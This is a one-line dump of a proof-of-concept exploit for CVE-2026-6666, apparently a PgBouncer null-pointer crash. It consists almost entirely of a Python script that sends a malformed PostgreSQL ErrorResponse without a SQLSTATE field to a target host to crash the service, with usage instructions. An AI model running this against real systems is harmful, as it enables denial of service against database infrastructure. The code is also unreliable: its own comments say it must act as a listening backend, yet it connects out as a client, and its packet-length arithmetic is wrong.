CVE-2026-6666 PgBouncer空指针引用导致崩溃漏洞

# PoC for CVE-2026-6666: PgBouncer Null Pointer Dereference # This script simulates a malicious PostgreSQL backend server sending an ErrorResponse # without the required SQLSTATE field to crash PgBouncer. import socket import struct def send_malformed_error(target_host, target_port): try: # Connect to PgBouncer (acting as a backend) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # PgBouncer startup message handling might vary, but we assume we are in a state # where we can send a response to PgBouncer (e.g., after it connects to us). # In a real scenario, this requires setting up a listener that PgBouncer connects to. # Construct a malformed ErrorResponse packet # Format: 'E' + length + fields... + 0x00 # Normal packet has 'S' for SQLSTATE. We omit it. # 'M' for Message. msg = b'Error triggering crash' packet = b'E' + struct.pack('>I', 4 + 1 + len(msg) + 1 + 1) # Length placeholder logic packet += b'M' + msg + b'\x00' # Message field packet += b'\x00' # Terminator # Fix length (Int32 includes self) length = len(packet) packet = b'E' + struct.pack('>I', length) + packet[5:] s.send(packet) print(f"[*] Malformed packet sent to {target_host}:{target_port}") print("[*] Check if PgBouncer crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") # Usage: python poc.py <pgbouncer_host> <pgbouncer_port> # Note: This usually requires the attacker to act as the backend database server # that PgBouncer tries to connect to.